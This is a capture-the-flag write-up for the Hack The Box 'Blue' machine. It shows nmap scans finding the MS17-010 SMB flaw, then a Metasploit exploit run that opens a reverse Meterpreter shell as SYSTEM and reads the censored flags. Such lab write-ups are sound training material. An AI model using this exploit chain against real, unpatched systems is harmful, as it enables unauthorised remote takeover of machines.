Welcome to the Blue writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Blue

tags: HTB Easy Windows OSCP
Platform: Hackthebox
Difficult: Easy
S.O.: Windows

Enumeration

Nmap

To get started, we run a quick open ports scan.

$ nmap -n -sS -T4 -p- 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-03 20:13 CEST
Nmap scan report for 10.10.10.40
Host is up (0.088s latency).
Not shown: 65526 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 126.38 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -n -A -p 135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-03 20:18 CEST
Nmap scan report for 10.10.10.40
Host is up (0.085s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (97%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (96%), Microsoft Windows Server 2008 SP1 (96%), Microsoft Windows Server 2008 SP2 (96%), Microsoft Windows 7 (96%), Microsoft Windows 7 SP0 - SP1 or Windows Server 2008 (96%), Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 (96%), Microsoft Windows 7 Ultimate (96%), Microsoft Windows 7 Ultimate SP1 or Windows 8.1 Update 1 (96%), Microsoft Windows Vista or Windows 7 SP1 (96%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -14m19s, deviation: 34m36s, median: 5m38s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-08-03T19:24:57+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-08-03T18:24:56
|_  start_date: 2021-08-03T18:23:36

TRACEROUTE (using port 139/tcp)
HOP RTT      ADDRESS
1   85.16 ms 10.10.14.1
2   85.45 ms 10.10.10.40

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.83 seconds

Let's see what vulnerabilities Nmap reveals to us.

$ nmap -p 135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40 --script vuln
[...]
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
[...]

Nice! The machine is vulnerable to ms17-010 which is used by EternalBlue, EternalRomance, EternalSynergy and EternalChampion.

Exploitation

Using EternalRomance from Metasploit we can get shell as system!

msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 10.10.10.40
rhosts => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > set lhost 10.10.14.29
lhost => 10.10.14.29
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 10.10.14.29:4444 
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Built a write-what-where primitive...
[+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload...
[+] 10.10.10.40:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.29:4444 -> 10.10.10.40:49158) at 2021-08-03 20:12:09 +0200

meterpreter > shell
Process 1644 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Well, we already have a shell as system so we can read the user and root flag.

C:\Users>type haris\Desktop\user.txt
type haris\Desktop\user.txt
CENSORED_FLAG
C:\Users>type Administrator\Desktop\root.txt
type Administrator\Desktop\root.txt
CENSORED_FLAG
C:\Users>